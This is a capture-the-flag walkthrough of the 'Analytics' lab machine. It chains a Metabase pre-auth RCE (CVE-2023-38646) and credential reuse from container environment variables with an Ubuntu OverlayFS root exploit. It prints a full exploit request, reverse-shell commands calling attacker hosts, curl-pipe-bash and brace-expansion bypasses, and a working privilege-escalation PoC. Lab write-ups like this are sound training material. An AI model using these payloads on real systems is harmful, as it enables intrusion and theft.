Overview

Analytics is a Linux machine that demonstrates how a vulnerable Metabase instance can lead to pre-authenticated remote code execution, followed by credential discovery inside a Docker container and privilege escalation through a vulnerable Ubuntu OverlayFS kernel issue.

Attack Chain

  • Enumerate exposed services and identify HTTP on port 80
  • Discover the analytical.htb website and data.analytical.htb Metabase virtual host
  • Identify Metabase version 0.46.6
  • Extract the setup token from /api/session/properties
  • Abuse CVE-2023-38646 for pre-authenticated RCE
  • Use brace expansion to execute a curl-based reverse shell payload
  • Enumerate the Docker container environment and recover credentials
  • SSH into the host as metalytics
  • Identify Ubuntu 22.04 Jammy running kernel 6.2.0-25-generic
  • Abuse the OverlayFS privilege escalation issue
  • Spawn a root shell and read the root flag

Enumeration

Port Scanning

We start by defining the target and running a full TCP port scan to identify the exposed services.

export IP=10.129.229.224; export NAME=ANALYTICS; echo $IP; echo $NAME; ping $IP -c 1

nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -p- -v -oA scans/nmap_allports_$NAME

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

nmap $IP -p$ports -A -oA scans/nmap_initial_$NAME -v

The open TCP ports are:

22,80

nmap results

Findings

The scan shows a small attack surface with only SSH (22) and HTTP (80) exposed. Since SSH usually requires credentials, the web service becomes the main focus for initial enumeration.

We add analytical.htb to /etc/hosts so the site resolves correctly.

echo "$IP analytical.htb" | sudo tee -a /etc/hosts

Web Enumeration

Main Website

Browsing to the web service reveals a landing page for a data analytics business.

landing page

The site also exposes a few potential names that may be useful later if we need to build a user list.

potential users

The identified names are:

Jonnhy Smith
Alex Kirigo
Daniel Walker

When selecting the login option, the application redirects to data.analytical.htb, so we add the new virtual host to /etc/hosts as well.

echo "$IP data.analytical.htb" | sudo tee -a /etc/hosts

data analytical redirect

The new virtual host presents a Metabase login page.

metabase login

Metabase Version Discovery

To identify the Metabase version, we request the page source and grep for version-related strings.

curl -s http://data.analytical.htb | grep -i "version"

The output contains a lot of data, but near the end we find that the target is running Metabase 0.46.6.

metabase version

This version is vulnerable to CVE-2023-38646, a pre-authenticated remote code execution issue that can be abused through the setup validation flow.


Foothold

Setup Token Discovery

The Metabase exploit path requires a setup token. This can be retrieved from the /api/session/properties endpoint.

setup token endpoint

The setup token is:

249fa03d-fd94-4d5b-b94f-b4ebf3df681f

The public research for CVE-2023-38646 shows that the vulnerable endpoint is /api/setup/validate, where the database connection string can be abused to execute commands through the H2 database engine.

The original request template includes a placeholder token and a base64-encoded payload.

POST /api/setup/validate HTTP/1.1
Host: localhost
Content-Type: application/json
Content-Length: 812

{
    "token": "5491c003-41c2-482d-bab4-6e174aa1738c",
    "details":
    {
        "is_on_demand": false,
        "is_full_sync": false,
        "is_sample": false,
        "cache_ttl": null,
        "refingerprint": false,
        "auto_run_queries": true,
        "schedules":
        {},
        "details":
        {
            "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEuMS4xLjEvOTk5OCAwPiYx}|{base64,-d}|{bash,-i}')\n$$--=x",
            "advanced-options": false,
            "ssl": true
        },
        "name": "an-sec-research-team",
        "engine": "h2"
    }
}

We need to update the token value with the setup token from the target and replace the payload with our own command.

burp request template

Reverse Shell Payload

Before working with base64-encoded payloads, a simpler approach is tested. We create a small reverse shell script that can be hosted on the attacking machine.

echo -e '#!/bin/bash\nsh -i >& /dev/tcp/10.10.14.189/443 0>&1' > rev443.sh

reverse shell script

A Python web server is started to host rev443.sh, and a penelope listener is started on port 443.

The first payload attempts to use curl to download the script and pipe it directly into bash.

bash -c curl 10.10.14.189/rev443.sh | bash

The updated request is sent through Burp Suite with the correct setup token.

burp curl payload

This does not return a shell, so the payload is adjusted.

Brace Expansion Bypass

To avoid issues with spaces or filtering, we use Bash brace expansion. By wrapping the command and its argument in braces and replacing the space with a comma, Bash expands it back into a normal command before execution.

bash -c {curl,10.10.14.189/rev443.sh}|bash

The updated payload is sent through Burp Suite.

burp brace expansion payload

This time the hosted reverse shell script is requested successfully.

python server hit

A reverse shell is received. The hostname and IP address show that the shell is running inside a container rather than directly on the host.

container reverse shell


Lateral Movement

Container Environment Enumeration

From inside the container, we enumerate environment variables with env. This reveals credentials for the next stage.

environment credentials

The recovered credentials are:

metalytics:An4lytics_ds20223#

SSH as metalytics

The credentials are tested against SSH on the main target.

ssh metalytics login

Authentication succeeds, giving us access to the host as metalytics.

metalytics shell

The user flag can now be read.

cat user.txt

user flag


Privilege Escalation

Host Enumeration

After gaining access to the host, we check the kernel version.

uname -a

We also confirm the Ubuntu release.

lsb_release -a

The target is running Ubuntu 22.04 Jammy with kernel 6.2.0-25-generic.

kernel and ubuntu version

This kernel version is affected by the Ubuntu OverlayFS privilege escalation issues tracked as CVE-2023-2640 and CVE-2023-32629.

OverlayFS Exploit

A public proof of concept is available for the OverlayFS issue. The exploit uses unshare, creates an overlay mount, sets capabilities on python3, and then uses Python to execute commands as root.

overlayfs exploit reference

The copied exploit code contains two variants:

# original poc payload
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("id")'

# adjusted poc payload by twitter user; likely false positive
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; u/python3 -c 'import os;os.setuid(0);os.system(\"id\")'"

We test the first payload.

unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("id")'

The command executes id as root, confirming that the exploit works.

overlayfs root id

Root Shell

To turn this into an interactive shell, we first confirm the path to bash and then update the Python command to execute /usr/bin/bash.

unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("/usr/bin/bash")'

Some errors are printed, but the exploit still succeeds and returns a root shell.

root shell

The root flag can now be read.

cat /root/root.txt

root flag


Key Takeaways

Analytics shows how a vulnerable web application can provide a foothold even without valid credentials. The Metabase setup token enabled pre-authenticated RCE, but the initial shell was isolated inside Docker. Environment variables then exposed reusable SSH credentials, and an unpatched Ubuntu kernel provided the final path to root through OverlayFS privilege escalation.